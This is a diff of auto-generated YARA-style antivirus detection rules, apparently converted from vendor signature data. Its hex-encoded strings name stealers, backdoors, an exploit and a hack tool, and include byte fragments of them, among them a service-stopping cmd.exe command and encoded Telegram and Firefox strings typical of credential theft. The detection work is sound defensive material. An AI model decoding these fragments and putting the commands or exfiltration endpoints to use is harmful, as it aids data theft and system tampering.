65 74 01 00 10 01 57 69 6e 31 30 5f 44 61 74 61 4f 66 66 73 65 74 01 00 14 01 57 69 6e 32 30 30 38 52 32 5f 44 61 74 61 4f 66 66 73 65 74 01 00 0f 01 57 69 6e 37 5f 44 61 74 61 4f 66 66 73 65 74 00 00 78 bf 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 } //24900 + $a_6e_2 = {4d 53 49 4c 2f 52 65 64 4c 69 6e 65 53 74 65 61 6c 65 72 2e 42 56 49 21 4d 54 42 00 02 00 29 03 11 04 75 9d 00 00 01 11 07 11 0b 20 4a 02 00 00 20 0c 02 00 00 28 90 01 01 00 00 2b 13 0c 1f 19 13 18 38 a3 fd ff ff 90 00 02 00 5d 03 19 8d 05 00 00 01 25 16 12 0c 20 6f 03 00 00 20 0d 03 00 00 } //27247 + $a_01_3 = {00 } //-28632 + $a_25_4 = {12 0c 20 4e 02 00 00 20 2d 02 00 00 28 90 01 01 00 00 06 9c 25 18 12 0c 20 0b 03 00 00 20 6f 03 00 00 28 90 01 01 00 00 06 9c 13 0f 11 1a 1e 91 20 99 00 00 00 59 13 18 38 13 fd ff ff 90 00 00 00 78 bf 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 4d 69 73 6d 75 70 70 65 72 2e 41 42 21 64 68 61 00 01 00 25 01 5b 2a 5d 20 43 72 65 61 74 65 20 63 68 61 6e 6e 65 6c 2c 20 65 72 72 6f 72 20 63 6f 64 65 3a 30 78 25 30 38 78 01 00 1b } //1536 + $a_44_5 = {6f 6d 70 6f 73 69 74 69 6f 6e 43 72 65 61 74 65 43 68 61 6e 6e 65 6c 01 00 27 00 4e 74 44 43 6f 6d 70 6f 73 69 74 69 6f 6e 50 72 6f 63 65 73 73 43 68 61 6e 6e 65 6c 42 61 74 63 68 42 75 66 66 65 72 01 00 1b 00 4e 74 44 43 6f 6d 70 6f 73 69 74 69 6f 6e 43 6f 6d 6d 69 74 43 68 61 6e 6e 65 6c 00 00 78 bf 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 45 } //19968 + $a_6f_6 = {74 3a 57 69 6e 33 32 2f 4d 69 73 6d 75 70 70 65 72 2e 42 42 21 64 68 61 00 01 00 25 01 5b 2a 5d 20 43 72 65 61 74 65 20 63 68 61 6e 6e 65 6c 20 65 72 72 6f 72 20 63 6f 64 65 3a 20 30 78 25 30 38 78 01 00 1b 00 4e 74 44 43 6f 6d 70 6f 73 69 74 69 6f 6e 43 72 65 61 74 65 43 68 61 6e 6e 65 6c 01 00 27 00 4e 74 44 43 6f 6d 70 } //28792 + $a_74_7 = {6f 6e 50 72 6f 63 65 73 73 43 68 61 6e 6e 65 6c 42 61 74 63 68 42 75 66 66 65 72 01 00 1b 00 4e 74 44 43 6f 6d 70 6f 73 69 74 69 6f 6e 43 6f 6d 6d 69 74 43 68 61 6e 6e 65 6c 00 00 78 bf 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 44 65 66 65 6e 64 65 72 43 68 65 63 6b 2e } //29551 condition: - ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*24900+(#a_69_2 & 1)*27760+(#a_50_3 & 1)*28521+(#a_65_4 & 1)*17184+(#a_74_5 & 1)*29551+(#a_00_6 & 1)*120+(#a_28_7 & 1)*27785) >=3 + ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*24900+(#a_6e_2 & 1)*27247+(#a_01_3 & 1)*-28632+(#a_25_4 & 1)*1536+(#a_44_5 & 1)*19968+(#a_6f_6 & 1)*28792+(#a_74_7 & 1)*29551) >=3 } -rule _InfrastructureShared_13194{ +rule _InfrastructureShared_14060{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 64 4c 69 6e 65 53 74 65 61 6c 65 72 2e 42 56 49 21 4d 54 42 00 02 00 29 03 11 04 75 9d 00 00 01 11 07 11 0b 20 4a 02 00 00 20 0c 02 00 00 28 90 01 01 00 00 2b 13 0c } //21539 + $a_18_1 = {a3 fd ff ff 90 00 02 00 5d 03 19 8d 05 00 00 01 25 16 12 } //6431 + condition: + ((#a_4c_0 & 1)*21539+(#a_18_1 & 1)*6431) >=4 + +} +rule _InfrastructureShared_14061{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -148431,24 +158351,38 @@ rule _InfrastructureShared_13194{ $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 4d 69 73 6d 75 70 70 65 72 2e 41 42 21 64 68 61 00 01 00 25 01 5b 2a 5d 20 43 72 65 61 74 65 20 63 68 61 6e 6e 65 6c 2c 20 65 72 72 6f 72 20 63 6f 64 65 3a 30 78 25 30 38 78 01 00 1b 00 } //16675 $a_43_1 = {6d 70 6f 73 69 74 69 6f 6e 43 72 65 61 74 65 43 68 61 6e 6e 65 6c 01 00 27 00 4e 74 44 43 6f 6d 70 6f 73 69 74 69 6f 6e 50 72 6f 63 65 73 73 43 68 61 6e 6e 65 6c 42 61 74 63 68 42 75 66 66 65 72 01 00 1b } //29774 $a_44_2 = {6f 6d 70 6f 73 69 74 69 6f 6e 43 6f 6d 6d 69 74 43 68 61 6e 6e 65 6c 00 00 78 bf 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 4d 69 73 6d 75 70 70 65 72 2e 42 42 21 64 68 61 00 01 00 25 01 5b 2a 5d 20 43 72 65 61 74 65 20 63 68 61 6e 6e 65 6c 20 65 72 72 6f 72 20 63 6f 64 65 3a 20 30 78 25 30 38 78 01 00 1b } //19968 - $a_44_3 = {6f 6d 70 6f 73 69 74 69 6f 6e 43 72 65 61 74 65 43 68 61 6e 6e 65 6c 01 00 27 00 4e 74 44 43 6f 6d 70 6f 73 69 74 69 6f 6e 50 72 6f 63 65 73 73 43 68 61 6e 6e 65 6c 42 61 74 63 68 42 75 66 66 65 72 01 00 1b 00 4e 74 44 43 6f 6d 70 6f 73 69 74 69 6f 6e 43 6f 6d 6d 69 74 43 68 61 6e 6e 65 6c 00 00 78 bf 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 59 } //19968 + $a_44_3 = {6f 6d 70 6f 73 69 74 69 6f 6e 43 72 65 61 74 65 43 68 61 6e 6e 65 6c 01 00 27 00 4e 74 44 43 6f 6d 70 6f 73 69 74 69 6f 6e 50 72 6f 63 65 73 73 43 68 61 6e 6e 65 6c 42 61 74 63 68 42 75 66 66 65 72 01 00 1b 00 4e 74 44 43 6f 6d 70 6f 73 69 74 69 6f 6e 43 6f 6d 6d 69 74 43 68 61 6e 6e 65 6c 00 00 78 bf 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 48 } //19968 condition: ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*29774+(#a_44_2 & 1)*19968+(#a_44_3 & 1)*19968) >=4 } -rule _InfrastructureShared_13195{ +rule _InfrastructureShared_14062{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 4d 69 73 6d 75 70 70 65 72 2e 42 42 21 64 68 61 00 01 00 25 01 5b 2a 5d 20 43 72 65 61 74 65 20 63 68 61 6e 6e 65 6c 20 65 72 72 6f 72 20 63 6f 64 65 3a 20 30 78 25 30 38 78 01 00 1b 00 } //16675 $a_43_1 = {6d 70 6f 73 69 74 69 6f 6e 43 72 65 61 74 65 43 68 61 6e 6e 65 6c 01 00 27 00 4e 74 44 43 6f 6d 70 6f 73 69 74 69 6f 6e 50 72 6f 63 65 73 73 43 68 61 6e 6e 65 6c 42 61 74 63 68 42 75 66 66 65 72 01 00 1b } //29774 - $a_44_2 = {6f 6d 70 6f 73 69 74 69 6f 6e 43 6f 6d 6d 69 74 43 68 61 6e 6e 65 6c 00 00 78 bf 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 59 32 56 3a 4b 75 64 65 6c 73 6b 69 5f 53 65 63 75 72 69 74 79 5f 4e 61 67 72 61 76 69 73 69 6f 6e 5f 53 2f 53 70 68 69 6e 78 5f 4d 6f 74 68 5f 6e 76 63 70 6c 65 78 00 01 00 36 03 6d 00 73 00 68 00 74 00 61 00 65 00 78 00 2e } //19968 + $a_44_2 = {6f 6d 70 6f 73 69 74 69 6f 6e 43 6f 6d 6d 69 74 43 68 61 6e 6e 65 6c 00 00 78 bf 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 44 65 66 65 6e 64 65 72 43 68 65 63 6b 2e 44 4d 58 21 4d 54 42 00 01 00 0d 00 44 65 66 65 6e 64 65 72 43 68 65 63 6b 01 00 24 80 01 4c 53 30 74 49 45 5a 4a 55 6b 56 47 54 31 67 67 } //19968 + $a_54_3 = {31 64 50 55 6b 52 54 49 43 30 74 4c 51 3d 3d 01 00 20 80 01 4c 53 30 74 49 45 4e 49 55 6b 39 4e 52 53 42 51 51 56 4e 54 56 30 39 53 52 46 4d 67 4c 53 30 74 01 00 28 80 01 61 48 52 30 63 48 4d 36 4c 79 39 68 63 } //17749 condition: - ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*29774+(#a_44_2 & 1)*19968) >=4 + ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*29774+(#a_44_2 & 1)*19968+(#a_54_3 & 1)*17749) >=4 } -rule _InfrastructureShared_13196{ +rule _InfrastructureShared_14063{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 44 65 66 65 6e 64 65 72 43 68 65 63 6b 2e 44 4d 58 21 4d 54 42 00 01 00 0d 00 44 65 66 65 6e 64 65 72 43 68 65 63 6b 01 00 24 80 01 4c 53 30 74 49 45 5a 4a 55 6b 56 47 54 31 67 67 55 } //16675 + $a_55_1 = {64 50 55 6b 52 54 49 43 30 74 4c 51 3d 3d 01 00 20 80 01 4c 53 30 74 49 45 4e 49 55 6b 39 4e 52 53 42 51 51 56 4e 54 56 30 39 53 52 46 4d 67 4c 53 30 74 01 00 28 80 01 61 48 52 30 63 48 4d 36 4c 79 39 68 63 47 6b 75 64 47 56 73 5a 57 64 79 59 57 30 75 } //17989 + $a_6e_2 = {32 4a 76 64 41 3d 3d 00 00 78 bf 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 59 32 56 3a 4b 75 64 65 6c 73 6b 69 5f 53 65 63 75 72 69 74 79 5f 4e 61 67 72 61 76 69 73 69 6f 6e 5f 53 2f 53 70 68 69 6e 78 5f 4d 6f 74 68 5f 6e } //13154 + $a_6c_3 = {78 00 01 00 36 03 6d 00 73 00 68 00 74 00 61 00 65 00 78 00 2e 00 65 00 78 00 65 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 10 01 41 8b cc 44 89 6c 24 28 48 89 7c 24 20 ff 15 d3 01 00 10 01 48 3b 0d ad 8f 00 00 74 05 e8 ba f5 ff ff 48 8b 01 00 13 03 8b ce e8 49 47 00 00 90 } //25462 + condition: + ((#a_46_0 & 1)*16675+(#a_55_1 & 1)*17989+(#a_6e_2 & 1)*13154+(#a_6c_3 & 1)*25462) >=4 + +} +rule _InfrastructureShared_14064{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -148461,7 +158395,7 @@ rule _InfrastructureShared_13196{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101+(#a_78_2 & 1)*25964+(#a_00_3 & 1)*114) >=4 } -rule _InfrastructureShared_13197{ +rule _InfrastructureShared_14065{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -148472,7 +158406,7 @@ rule _InfrastructureShared_13197{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*116) >=4 } -rule _InfrastructureShared_13198{ +rule _InfrastructureShared_14066{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -148484,7 +158418,7 @@ rule _InfrastructureShared_13198{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*12853+(#a_3a_3 & 1)*17748) >=4 } -rule _InfrastructureShared_13199{ +rule _InfrastructureShared_14067{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -148496,7 +158430,7 @@ rule _InfrastructureShared_13199{ ((#a_4c_0 & 1)*21539+(#a_68_1 & 1)*385+(#a_00_3 & 1)*0) >=4 } -rule _InfrastructureShared_13200{ +rule _InfrastructureShared_14068{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -148505,12 +158439,12 @@ rule _InfrastructureShared_13200{ $a_29_1 = {00 21 01 63 6d 64 2e 65 78 65 20 2f 43 20 6e 65 74 20 73 74 6f 70 20 73 79 73 74 65 6d 73 70 6f 6f 6c 65 72 02 00 1a 01 73 63 20 71 64 65 73 63 72 69 70 74 69 6f 6e 20 6d 73 64 74 63 20 34 30 30 30 01 00 0e 01 54 53 79 73 74 65 6d 53 70 6f 6f 6c 65 72 01 00 08 01 43 6f 6d 70 69 74 6f 7c 00 00 78 bf 00 00 04 00 04 00 05 00 21 23 } //18733 $a_3a_2 = {6c 6f 63 6b 3a 4b 72 61 64 64 61 72 65 00 01 00 16 80 01 64 65 66 61 75 6c 74 2e 63 6c 6f 75 64 77 65 62 2e 63 6f 2e 6b 72 01 00 28 80 01 68 74 74 70 3a 2f 2f 7b 7b 43 4f 4e 46 49 47 5f 44 4f 4d } //21840 $a_7d_3 = {2f 63 6c 6f 75 64 5f 70 61 74 63 68 2e 70 68 70 01 00 12 80 01 53 6f 66 74 77 61 72 65 5c 43 6c 6f 75 64 2d 57 65 62 01 00 29 80 01 50 52 4f 47 52 41 4d 46 49 4c 45 53 25 5c 43 6c 6f 75 64 2d 57 65 62 5c 43 6c 6f 75 64 2d 57 65 62 5f } //18753 - $a_2e_4 = {78 65 01 00 10 80 01 63 6c 6f 75 64 5f 72 65 70 6f 72 74 2e 70 68 70 00 00 78 bf 00 00 04 00 04 00 06 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 4c 65 65 73 6f 6e 2e 44 21 64 68 61 00 01 00 2e 01 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 4d 00 65 00 64 00 69 00 61 00 20 00 } //30066 + $a_2e_4 = {78 65 01 00 10 80 01 63 6c 6f 75 64 5f 72 65 70 6f 72 74 2e 70 68 70 00 00 78 bf 00 00 04 00 04 00 05 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 48 75 6e 74 69 6e 67 53 6e 61 6b 65 73 2e 42 00 01 00 17 03 48 8b 85 c8 21 03 00 48 89 c1 48 8b 05 90 01 04 ff d0 48 89 85 90 00 01 00 38 03 48 89 54 24 40 48 c7 44 24 38 90 01 04 48 c7 44 } //30066 condition: ((#a_46_0 & 1)*16675+(#a_29_1 & 1)*18733+(#a_3a_2 & 1)*21840+(#a_7d_3 & 1)*18753+(#a_2e_4 & 1)*30066) >=4 } -rule _InfrastructureShared_13201{ +rule _InfrastructureShared_14069{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -148518,13 +158452,41 @@ rule _InfrastructureShared_13201{ $a_41_0 = {42 6c 6f 63 6b 3a 4b 72 61 64 64 61 72 65 00 01 00 16 80 01 64 65 66 61 75 6c 74 2e 63 6c 6f 75 64 77 65 62 2e 63 6f 2e 6b 72 01 00 28 80 01 68 74 74 70 3a 2f 2f 7b 7b 43 4f 4e 46 49 47 5f 44 4f 4d 41 49 4e 7d 7d 2f 63 6c 6f 75 64 5f 70 61 74 63 68 2e 70 } //20515 $a_00_1 = {12 } //28776 $a_6f_2 = {74 77 61 72 65 5c 43 6c 6f 75 64 2d 57 65 62 01 00 29 80 01 50 52 4f 47 52 41 4d 46 49 4c 45 53 25 5c 43 6c 6f 75 64 2d 57 65 62 5c 43 6c 6f 75 64 2d 57 65 62 5f 72 75 6e 2e 65 78 65 01 00 10 80 01 63 6c 6f 75 64 5f 72 65 70 6f 72 74 2e 70 68 70 00 } //384 - $a_00_3 = {00 04 00 04 00 06 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 4c 65 65 73 6f 6e 2e 44 21 64 68 61 00 01 00 2e 01 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 4d 00 65 00 64 00 69 00 61 00 20 00 50 00 6c 00 61 00 79 00 65 00 72 00 01 00 12 01 25 00 73 00 5c 00 4e 00 6f 00 74 00 69 00 63 00 65 00 01 00 14 01 25 00 73 00 5c 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 01 00 0c 01 44 65 63 72 79 20 46 61 69 6c 3f 3f 01 00 0b 01 26 73 69 67 6e 49 64 65 6e 74 3d 01 00 0f 01 26 73 69 67 6e 53 65 72 69 6f 72 64 65 72 3d 00 } //30720 - $a_00_4 = {00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 62 6f 6f 6b 2e 52 46 21 4d 54 42 00 01 00 25 81 01 24 30 39 37 34 37 65 66 66 2d 33 34 61 64 2d 34 39 30 39 2d 62 66 62 37 2d 62 64 65 63 34 33 38 39 34 37 35 63 01 00 08 81 01 44 65 6c 65 67 61 74 65 01 00 17 81 01 44 65 62 75 67 67 65 72 48 69 64 64 65 6e 41 74 74 72 69 62 75 74 65 01 00 1c 81 01 44 65 62 75 67 67 65 72 4e 6f 6e 55 73 65 72 43 6f 64 65 41 74 74 72 69 62 75 74 65 01 00 1c 81 01 44 65 62 75 67 67 65 72 53 74 65 70 54 68 72 6f 75 67 68 41 74 74 72 69 62 75 74 65 00 } //30720 + $a_00_3 = {00 04 00 04 00 05 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 48 75 6e 74 69 6e 67 53 6e 61 6b 65 73 2e 42 00 01 00 17 03 48 8b 85 c8 21 03 00 48 89 c1 48 8b 05 90 01 04 ff d0 48 89 85 90 00 01 00 38 03 48 89 54 24 40 48 c7 44 24 38 90 01 04 48 c7 44 24 30 90 01 04 c7 44 24 28 04 00 00 00 c7 44 24 20 00 00 00 00 41 b9 00 00 00 00 41 b8 90 01 04 ba 90 01 04 ff d0 90 00 01 00 12 01 4c 8b 95 b0 21 03 00 48 8b 85 00 21 03 00 c7 44 24 20 01 00 0d 01 48 89 c1 41 ff d2 48 89 85 a8 21 03 00 01 00 19 03 4c 8b 85 98 21 03 00 48 8b 85 08 21 03 00 90 01 07 48 89 c1 41 ff d0 90 00 00 } //30720 + $a_00_4 = {00 04 00 04 00 06 00 21 23 41 4c 46 3a 42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 4d 53 49 4c 2f 4d 65 64 69 61 41 72 65 6e 61 2e 4b 53 38 33 00 01 00 17 80 01 41 64 45 6e 6f 75 67 68 54 72 61 79 2e 56 69 65 77 4d 6f 64 65 6c 73 01 00 21 80 01 41 64 45 6e 6f 75 67 68 54 72 61 79 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 01 00 13 80 01 41 64 45 6e 6f 75 67 68 54 72 61 79 2e 43 6f 6d 6d 6f 6e 01 00 0c 80 01 41 64 45 6e 6f 75 67 68 54 72 61 79 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 } //30720 condition: ((#a_41_0 & 1)*20515+(#a_00_1 & 1)*28776+(#a_6f_2 & 1)*384+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720) >=4 } -rule _InfrastructureShared_13202{ +rule _InfrastructureShared_14070{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " + + strings : + $a_46_0 = {57 69 6e 36 34 2f 48 75 6e 74 69 6e 67 53 6e 61 6b 65 73 2e 42 00 01 00 17 03 48 8b 85 c8 21 03 00 48 89 c1 48 8b 05 90 01 04 ff d0 48 89 85 90 00 01 00 38 03 48 89 54 24 40 48 c7 44 24 38 90 01 04 48 c7 44 24 30 90 01 04 c7 44 } //21283 + $a_00_1 = {00 00 c7 44 } //10276 + $a_b9_3 = {00 00 00 41 b8 90 01 04 ba 90 01 04 ff d0 90 00 01 00 12 01 4c 8b 95 b0 21 03 00 48 8b 85 00 21 03 00 c7 44 24 20 01 00 0d 01 48 89 c1 41 ff d2 48 89 85 a8 21 03 00 01 00 19 03 4c 8b 85 98 21 03 } //0 + $a_85_4 = {21 03 00 90 01 07 48 89 c1 41 ff d0 90 00 00 00 78 bf 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 4d 53 49 4c 2f 4d 65 64 69 61 41 72 65 6e 61 2e 4b 53 38 33 00 01 00 17 80 01 41 64 45 6e 6f 75 67 68 54 72 61 79 2e 56 69 65 77 4d 6f 64 65 6c 73 01 00 21 80 01 41 64 45 6e 6f 75 67 68 54 72 61 79 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 01 00 13 80 } //18432 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*10276+(#a_b9_3 & 1)*0+(#a_85_4 & 1)*18432) >=4 + +} +rule _InfrastructureShared_14071{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " + + strings : + $a_46_0 = {42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 4d 53 49 4c 2f 4d 65 64 69 61 41 72 65 6e 61 2e 4b 53 38 33 00 01 00 17 80 01 41 64 45 6e 6f 75 67 68 54 72 61 79 2e 56 69 65 77 4d 6f 64 65 6c 73 01 00 21 80 01 41 64 45 6e 6f 75 } //16675 + $a_72_1 = {79 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 01 00 13 80 01 41 64 45 6e 6f 75 67 68 54 72 61 79 2e 43 6f 6d 6d 6f 6e 01 00 0c 80 01 41 64 45 6e 6f 75 67 68 54 72 61 79 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 } //26727 + $a_73_2 = {61 6c 6c 2e 65 78 65 00 00 78 bf 00 00 04 00 04 00 06 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 4c 65 65 73 6f 6e 2e 44 21 64 68 61 00 01 00 2e 01 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 4d 00 65 00 64 00 69 00 61 00 20 00 50 00 6c 00 61 00 79 00 65 00 72 00 01 00 12 01 } //26990 + $a_00_3 = {5c 00 4e 00 6f 00 74 00 69 00 63 00 65 00 01 00 14 01 25 00 73 00 5c 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 01 00 0c 01 44 65 63 72 79 20 46 61 69 6c 3f 3f 01 00 0b 01 26 73 69 67 6e 49 64 65 6e 74 3d 01 00 0f 01 26 73 69 67 6e 53 65 72 69 6f 72 64 65 72 3d 00 00 78 bf 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 } //37 + $a_44_4 = {72 6b 54 6f 72 74 69 6c 6c 61 2e 4b 54 53 21 4d 54 42 00 05 00 8c 03 18 13 0a 11 0a 45 07 00 00 00 00 00 00 00 4e 00 00 00 00 00 00 00 42 00 } //19529 + $a_00_5 = {00 00 25 00 00 00 25 00 00 00 07 74 88 00 00 01 20 80 00 00 00 6f 90 01 01 00 00 0a 07 75 88 00 00 01 20 80 00 00 00 6f 90 01 01 00 00 0a 1c 13 0a 2b b8 07 74 88 00 00 01 19 6f 90 01 01 00 00 0a 07 } //0 + condition: + ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*26727+(#a_73_2 & 1)*26990+(#a_00_3 & 1)*37+(#a_44_4 & 1)*19529+(#a_00_5 & 1)*0) >=4 + +} +rule _InfrastructureShared_14072{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -148538,7 +158500,17 @@ rule _InfrastructureShared_13202{ ((#a_46_0 & 1)*16675+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=4 } -rule _InfrastructureShared_13203{ +rule _InfrastructureShared_14073{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 61 72 6b 54 6f 72 74 69 6c 6c 61 2e 4b 54 53 21 4d 54 42 00 05 00 8c 03 18 13 0a 11 0a 45 07 00 00 00 00 00 00 00 4e 00 00 00 00 00 00 00 42 00 00 00 42 00 00 00 25 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=5 + +} +rule _InfrastructureShared_14074{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -148550,7 +158522,7 @@ rule _InfrastructureShared_13203{ ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*27749+(#a_3a_4 & 1)*19521) >=5 } -rule _InfrastructureShared_13204{ +rule _InfrastructureShared_14075{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -148564,7 +158536,7 @@ rule _InfrastructureShared_13204{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*29298+(#a_3a_2 & 1)*21587+(#a_73_3 & 1)*25966+(#a_61_4 & 1)*28704) >=5 } -rule _InfrastructureShared_13205{ +rule _InfrastructureShared_14076{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -148578,7 +158550,7 @@ rule _InfrastructureShared_13205{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*28274+(#a_53_2 & 1)*8993+(#a_01_3 & 1)*28261+(#a_54_4 & 1)*18467) >=5 } -rule _InfrastructureShared_13206{ +rule _InfrastructureShared_14077{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -148592,7 +158564,7 @@ rule _InfrastructureShared_13206{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*29812+(#a_53_2 & 1)*8993+(#a_69_3 & 1)*28417+(#a_53_4 & 1)*20538) >=5 } -rule _InfrastructureShared_13207{ +rule _InfrastructureShared_14078{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -148606,7 +158578,7 @@ rule _InfrastructureShared_13207{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*28265+(#a_46_2 & 1)*16675+(#a_00_3 & 1)*-3605+(#a_c6_4 & 1)*32141) >=5 } -rule _InfrastructureShared_13208{ +rule _InfrastructureShared_14079{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -148621,7 +158593,7 @@ rule _InfrastructureShared_13208{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*-3605+(#a_c6_2 & 1)*32141+(#a_20_3 & 1)*21325+(#a_4d_4 & 1)*21069+(#a_00_5 & 1)*28015) >=5 } -rule _InfrastructureShared_13209{ +rule _InfrastructureShared_14080{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -148635,7 +158607,7 @@ rule _InfrastructureShared_13209{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*97+(#a_bf_3 & 1)*0+(#a_6c_4 & 1)*26739+(#a_54_5 & 1)*28261) >=5 } -rule _InfrastructureShared_13210{ +rule _InfrastructureShared_14081{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -148651,7 +158623,7 @@ rule _InfrastructureShared_13210{ ((#a_46_0 & 1)*16675+(#a_49_1 & 1)*28532+(#a_6f_2 & 1)*21562+(#a_31_3 & 1)*17988+(#a_00_4 & 1)*13123+(#a_00_6 & 1)*115+(#a_81_7 & 1)*1) >=5 } -rule _InfrastructureShared_13211{ +rule _InfrastructureShared_14082{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -148663,7 +158635,7 @@ rule _InfrastructureShared_13211{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*30329+(#a_3a_2 & 1)*24938) >=6 } -rule _InfrastructureShared_13212{ +rule _InfrastructureShared_14083{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 